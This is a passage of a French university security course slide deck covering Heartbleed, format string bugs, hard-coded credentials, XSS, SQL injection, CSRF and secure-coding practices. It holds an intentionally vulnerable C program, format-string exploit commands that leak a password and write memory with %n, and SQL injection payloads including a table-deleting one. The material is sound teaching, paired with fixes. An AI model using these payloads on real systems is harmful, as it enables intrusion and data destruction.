• Le client envoie : n (16 bits) et n octets de données
• Le serveur renvoie les n octets de données envoyées par le
client

149/187 Télécom Paris Guillaume Duc 2020–2021


Heartbleed 2/3

OpenSSL renvoie n octets à partir du début du tampon


stockant les données reçues
Mais OpenSSL ne vérifie pas que le client a bien envoyé n
octets initialement
Donc si le client a envoyé moins d’octets, le serveur va
envoyer au client les données stockées en mémoire après
le tampon de réception (jusqu’à 64 ko)

150/187 Télécom Paris Guillaume Duc 2020–2021


Heartbleed 3/3

Source : FenixFeather, Wikimedia Commons


151/187 Télécom Paris Guillaume Duc 2020–2021
Plan

Introduction

Logiciels
Buffer Overflow
Format String Vulnerability
Use of Hard-coded Credentials

Applications web
Cross-site Scripting (XSS)
SQL Injection
Cross-Site Request Forgery (CSRF)

Bonnes pratiques

152/187 Télécom Paris Guillaume Duc 2020–2021


Quel est le problème ?
/* test2 . c */
# include < s t r i n g . h>
# include < s t d l i b . h>

i n t i = 1234;

i n t main ( i n t argc , char * * argv ) {


char b u f [ 1 0 2 4 ] ;
char * pwd = " password " ;

s t r n c p y ( buf , argv [ 1 ] , s i z e o f ( b u f ) ) ;
p r i n t f ( buf ) ;
p r i n t f ( " \n@pwd = %08x \ n i = %d , @i = %08x \ n " ,
pwd , i , & i ) ;
e x i t ( EXIT_SUCCESS ) ;
}

153/187 Télécom Paris Guillaume Duc 2020–2021


Premier test

$ gcc -g -m32 -mtune=i386 -o test2 test2.c


$ ./test2 Hello
Hello
@pwd = 080485a0
i = 1234, @i = 0804a028

154/187 Télécom Paris Guillaume Duc 2020–2021


Exploitation pour lire la pile

$ ./test2 %08x
fff135a4
@pwd = 080485a0
i = 1234, @i = 0804a028
$ ./test2 ‘perl -e ’print "%08x."x20;’‘
fff135a4.00000400.00000004.00000174.00000174.00000174
.78383025.3830252e.30252e78.252e7838.2e783830[...]
@pwd = 080485a0
i = 1234, @i = 0804a028

155/187 Télécom Paris Guillaume Duc 2020–2021


Exploitation pour lire la mémoire

$ ./test2 AAAA.%08x.%08x.%08x.%08x.%08x.%08x.%08x
AAAA.fff135a4.00000400.00000004.00000174.00000174.00000174.41414141
@pwd = 080485a0
i = 1234, @i = 0804a028

$ ./test2 ‘perl -e ’print "\xa0\x85\x04\x08";’‘\


.%08x.%08x.%08x.%08x.%08x.%08x.%08x
xxxx.fff135a4.00000400.00000004.00000174.00000174.00000174.080485a0
@pwd = 080485a0
i = 1234, @i = 0804a028

$ ./test2 ‘perl -e ’print "\xa0\x85\x04\x08";’‘\


.%08x.%08x.%08x.%08x.%08x.%08x.%s
xxxx.fff135a4.00000400.00000004.00000174.00000174.00000174.password
@pwd = 080485a0
i = 1234, @i = 0804a028

156/187 Télécom Paris Guillaume Duc 2020–2021


Écriture en mémoire

$ ./test2 ‘perl -e ’print "\x28\xa0\x04\x08";’‘\


.%08x.%08x.%08x.%08x.%08x.%08x.%n
xxxx.fff135a4.00000400.00000004.00000174.00000174.00000174
@pwd = 080485a0
i = 59, @i = 0804a028

157/187 Télécom Paris Guillaume Duc 2020–2021


Solution

Utiliser printf("%s", buf) au lieu de printf(buf)

158/187 Télécom Paris Guillaume Duc 2020–2021


Plan

Introduction

Logiciels
Buffer Overflow
Format String Vulnerability
Use of Hard-coded Credentials

Applications web
Cross-site Scripting (XSS)
SQL Injection
Cross-Site Request Forgery (CSRF)

Bonnes pratiques

159/187 Télécom Paris Guillaume Duc 2020–2021


Use of Hard-coded Credentials

CVE-2014-2969 (07/07/2014)
• NETGEAR GS108PE Prosafe Plus switches with firmware
1.2.0.5 have a hardcoded password of debugpassword for
the ntgruser account, which allows remote attackers to
upload firmware or read or modify memory contents, and
consequently execute arbitrary code

160/187 Télécom Paris Guillaume Duc 2020–2021


Plan

Introduction

Logiciels
Buffer Overflow
Format String Vulnerability
Use of Hard-coded Credentials

Applications web
Cross-site Scripting (XSS)
SQL Injection
Cross-Site Request Forgery (CSRF)

Bonnes pratiques

161/187 Télécom Paris Guillaume Duc 2020–2021


Plan

Introduction

Logiciels
Buffer Overflow
Format String Vulnerability
Use of Hard-coded Credentials

Applications web
Cross-site Scripting (XSS)
SQL Injection
Cross-Site Request Forgery (CSRF)

Bonnes pratiques

162/187 Télécom Paris Guillaume Duc 2020–2021


XSS
Définition
Se produit quand une application web ne neutralise pas
correctement des entrées contrôlables par un utilisateur
avant de les utiliser pour générer une page web visible par
d’autres utilisateurs
Scénario
• Des données non dignes de confiance sont passées à
l’application web
• L’application génère dynamiquement une page contenant
ces données
• L’application ne vérifie pas si ces données contiennent du
code exécutable par le navigateur (JavaScript, HTML,
Flash, ActiveX, etc.)
• La victime visite la page générée et son navigateur exécute
le code en question, dans le contexte du domaine de
l’application

163/187 Télécom Paris Guillaume Duc 2020–2021


XSS
Risques

Vol de cookie, de données privées et d’informations de


session (puisque le script semble provenir de l’application
web, elle s’exécute avec ses privilèges)
Exécution de requêtes à la place de l’utilisateur
(dangereux si l’utilisateur est administrateur par exemple)

164/187 Télécom Paris Guillaume Duc 2020–2021


XSS
Types

Classification proposée par http://cwe.mitre.org


Type 1 : Reflected XSS (non persistant) : Le serveur lit la
donnée directement depuis la requête HTTP et l’utilise
dans la réponse. L’attaquant doit amener la victime à
fournir elle-même le contenu vulnérable à l’application (en
lui fournissant l’URL par exemple)
Type 2 : Stored XSS (persistant) : L’adversaire fait stocker
à l’application la donnée malicieuse. Plus tard, l’application
relit cette donnée (par exemple depuis une DB) et l’utilise
pour générer une page.
Type 0 : DOM-Based XSS : L’injection se fait via un script
exécuté par le client qui lit une entrée utilisateur et modifie
la page à l’aide de celle-ci, sans passer par le serveur

165/187 Télécom Paris Guillaume Duc 2020–2021


XSS
Solutions

Comme toujours, ne jamais faire confiance à une


information qui peut être manipulée par un utilisateur
Protéger les entrées utilisateur correctement (se servir des
fonctions fournies par les langages), plus de détails [17]

166/187 Télécom Paris Guillaume Duc 2020–2021


Plan

Introduction

Logiciels
Buffer Overflow
Format String Vulnerability
Use of Hard-coded Credentials

Applications web
Cross-site Scripting (XSS)
SQL Injection
Cross-Site Request Forgery (CSRF)

Bonnes pratiques

167/187 Télécom Paris Guillaume Duc 2020–2021


SQL Injection
Principe

Se produit quand une application génère une requête SQL


comportant des parties influencées par l’utilisateur sans
neutraliser les éléments qui pourraient avoir une influence
sur le sens de la requête

168/187 Télécom Paris Guillaume Duc 2020–2021


SQL Injection
Exemple 1

Lors d’une authentification, le serveur utilise la requête


suivante SELECT * FROM users WHERE login=’<login>’
AND password=’<pass>’
L’utilisateur saisit comme mot de passe x’ OR ’a’=’a
La requête se transforme donc en SELECT * FROM users
WHERE login=’admin’ AND password=’x’ OR ’a’=’a’, ce
qui se simplifie en SELECT * FROM users WHERE
login=’admin’

169/187 Télécom Paris Guillaume Duc 2020–2021


SQL Injection
Exemple 2

Le serveur veut faire la requête suivante SELECT * FROM


products WHERE id=’<id>’
L’utilisateur entre l’identifiant produit suivant x’; DELETE
FROM products; - -
La requête envoyée au serveur se transforme donc en :
SELECT * FROM products WHERE id=’x’;
DELETE FROM products;
- -’
ce qui peut être embêtant...

170/187 Télécom Paris Guillaume Duc 2020–2021


SQL Injection
Solutions

Protéger les caractères spéciaux dans les entrées


modifiables par l’utilisateur (en utilisant notamment les
fonctions dédiées des API de communication avec les DB)
Plus de détails [16]

Image from XKCD : http://imgs.xkcd.com/comics/exploits_of_a_mom.png

171/187 Télécom Paris Guillaume Duc 2020–2021


Plan

Introduction

Logiciels
Buffer Overflow
Format String Vulnerability
Use of Hard-coded Credentials

Applications web
Cross-site Scripting (XSS)
SQL Injection
Cross-Site Request Forgery (CSRF)

Bonnes pratiques

172/187 Télécom Paris Guillaume Duc 2020–2021


Cross-Site Request Forgery
Principes

Se produit quand une application web est conçue pour


recevoir une requête depuis un client sans mécanisme
pour vérifier qu’il l’a envoyée intentionnellement
Il est alors possible pour un attaquant d’amener l’utilisateur
à faire une requête vers cette application sans le vouloir
(par exemple en visitant un site malicieux)

173/187 Télécom Paris Guillaume Duc 2020–2021


Plan

Introduction

Logiciels
Buffer Overflow
Format String Vulnerability
Use of Hard-coded Credentials

Applications web
Cross-site Scripting (XSS)
SQL Injection
Cross-Site Request Forgery (CSRF)

Bonnes pratiques

174/187 Télécom Paris Guillaume Duc 2020–2021


Bonnes pratiques 1

Établir et garder le contrôle sur toutes les entrées d’une


application
Entrées : paramètres, arguments, cookies, variables
d’environnement, n’importe quoi lu depuis le réseau,
entête de requête, composants de l’URL, email, fichiers,
DB, résolution DNS inversée, etc.
Valider chaque entrée
• Longueur
• Type
• Syntaxe
• Entrées manquantes ou en supplément
• Règles métier

175/187 Télécom Paris Guillaume Duc 2020–2021


Bonnes pratiques 2

Établir et garder le contrôle sur toutes les sorties d’une


application
Sorties : Requêtes SQL, pages Web, email, etc.
Vérifier qu’une donnée ne modifie par le sens de la sortie
(ex. Injection SQL)

176/187 Télécom Paris Guillaume Duc 2020–2021


Bonnes pratiques 3

Verrouiller l’environnement
Exécuter l’application en tant qu’utilisateur non privilégié
Désactiver les messages d’erreur verbeux
Utiliser des mécanismes comme la virtualisation, les bacs
à sable, etc.

177/187 Télécom Paris Guillaume Duc 2020–2021


Bonnes pratiques 4

Assumer que les composants externes peuvent être


corrompus et que votre code peut être lu par n’importe qui

178/187 Télécom Paris Guillaume Duc 2020–2021


Bonnes pratiques 5

Utiliser des mécanismes de sécurité reconnus par


l’industrie au lieu d’inventer les siens

179/187 Télécom Paris Guillaume Duc 2020–2021


Cinquième partie V

Conclusion

180/187 Télécom Paris Guillaume Duc 2020–2021


Conclusion

Image from XKCD : http://imgs.xkcd.com/comics/security.png

181/187 Télécom Paris Guillaume Duc 2020–2021


Conclusion personnelle

Travailler dans la sécurité nécessite


• Une connaissance technique complète et parfaite du
fonctionnement de ce que l’on cherche à sécuriser
• Une vision globale de tout le système dans lequel s’inscrit
le produit
• Une mise à jour constante de ses connaissances

182/187 Télécom Paris Guillaume Duc 2020–2021


Sixième partie VI

Annexe

183/187 Télécom Paris Guillaume Duc 2020–2021


Plan

References

184/187 Télécom Paris Guillaume Duc 2020–2021


References I
[1] Poisontap.
https://samy.pl/poisontap/, December 2016.
[2] Usb killer.
https://www.usbkill.com/, December 2016.
[3] Zhaohui Wang Angelos Stavrou.
Exploiting smart-phone usb connectivity for fun and profit.
In Black Hat DC, January 2011.
https://media.blackhat.com/bh-dc-11/Stavrou-Wang/BlackHat_DC_2011_Stavrou_Zhaohui_USB_
exploits-wp.pdf.
[4] K. Chen.
Reversing and exploiting an apple firmware update.
In Black Hat, July 2009.
http://www.blackhat.com/presentations/bh-usa-09/CHEN/BHUSA09-Chen-RevAppleFirm-PAPER.pdf.
[5] Loïc Duflot.
Bogues et piégeages des processeurs, quelle conséquence sur la sécurité ?
In SSTIC, June 2008.
http://www.ssi.gouv.fr/archive/fr/sciences/fichiers/lti/sstic08-duflot.pdf.
[6] Loïc Duflot and Yves-Alexis Perez.
Can you still trust your network card ?
In CanSecWest, 2010.
http://www.ssi.gouv.fr/IMG/pdf/csw-trustnetworkcard.pdf.
[7] Christophe Giraud.
Attaques de cryptosystèmes embarqués et contre-mesures associées.
PhD thesis, Université de Versailles Saint-Quentin-en-Yvelines, 26 octobre 2007.

185/187 Télécom Paris Guillaume Duc 2020–2021


References II
[8] Jeremi Gosney.
Password cracking HPC.
In Passwords12 Security Conference, dec 2012.
http://passwords12.at.ifi.uio.no/Jeremi_Gosney_Password_Cracking_HPC_Passwords12.pdf.
[9] Daniel Gruss, Moritz Lipp, Michael Schwarz, Richard Fellner, Clémentine Maurice, and Stefan Mangard.
KASLR is Dead : Long Live KASLR, pages 161–176.
Springer International Publishing, Cham, 2017.
[10] J. Alex Halderman, Seth D. Schoen, Nadia Heninger, William Clarkson, William Paul, Joseph A. Calandrino,
Ariel J. Feldman, Jacob Appelbaum, and Edward W. Felten.
Lest we remember : Cold boot attacks on encryption keys.
In Proceedings of the 17th USENIX Security Symposium, July 2008.
[11] A. Huang.
Keeping secrets in hardware : the Microsoft XBox (TM) case study.
Technical Report AI Memo 2002-008, Massachusetts Institute of Technology, May 2002.
[12] Paul Kocher, Daniel Genkin, Daniel Gruss, Werner Haas, Mike Hamburg, Moritz Lipp, Stefan Mangard,
Thomas Prescher, Michael Schwarz, and Yuval Yarom.
Spectre attacks : Exploiting speculative execution.
ArXiv e-prints, January 2018.
https://meltdownattack.com/spectre.pdf.
[13] Moritz Lipp, Michael Schwarz, Daniel Gruss, Thomas Prescher, Werner Haas, Stefan Mangard, Paul Kocher,
Daniel Genkin, Yuval Yarom, and Mike Hamburg.
Meltdown.
ArXiv e-prints, January 2018.
https://meltdownattack.com/meltdown.pdf.

186/187 Télécom Paris Guillaume Duc 2020–2021


References III

[14] Charlie Miller.


Battery firmware hacking.
In Black Hat, August 2011.
https://media.blackhat.com/bh-us-11/Miller/BH_US_11_Miller_Battery_Firmware_Public_WP.pdf.
[15] Karsten Nohl, David Evans Starbug, and Henryk Plötz.
Reverse-Engineering a Cryptographic RFID Tag.
In USENIX Security Symposium, pages 185–193, July 31 2008.
San Jose, CA, USA (http://www.usenix.org/event/sec08/tech/full_papers/nohl/nohl_html/Online
HTML).
[16] Dave Wichers.
Sql injection prevention cheat sheet, January 2011.
http://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet.
[17] Jeff Williams and Jim Manico.
Xss (cross site scripting) prevention cheat sheet, January 2011.
http://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
[18] Yuval Yarom and Katrina Falkner.
Flush+reload : A high resolution, low noise, l3 cache side-channel attack.
In 23rd USENIX Security Symposium (USENIX Security 14), pages 719–732, San Diego, CA, 2014. USENIX
Association.
https://www.usenix.org/conference/usenixsecurity14/technical-sessions/presentation/yarom.

187/187 Télécom Paris Guillaume Duc 2020–2021

Vous aimerez peut-être aussi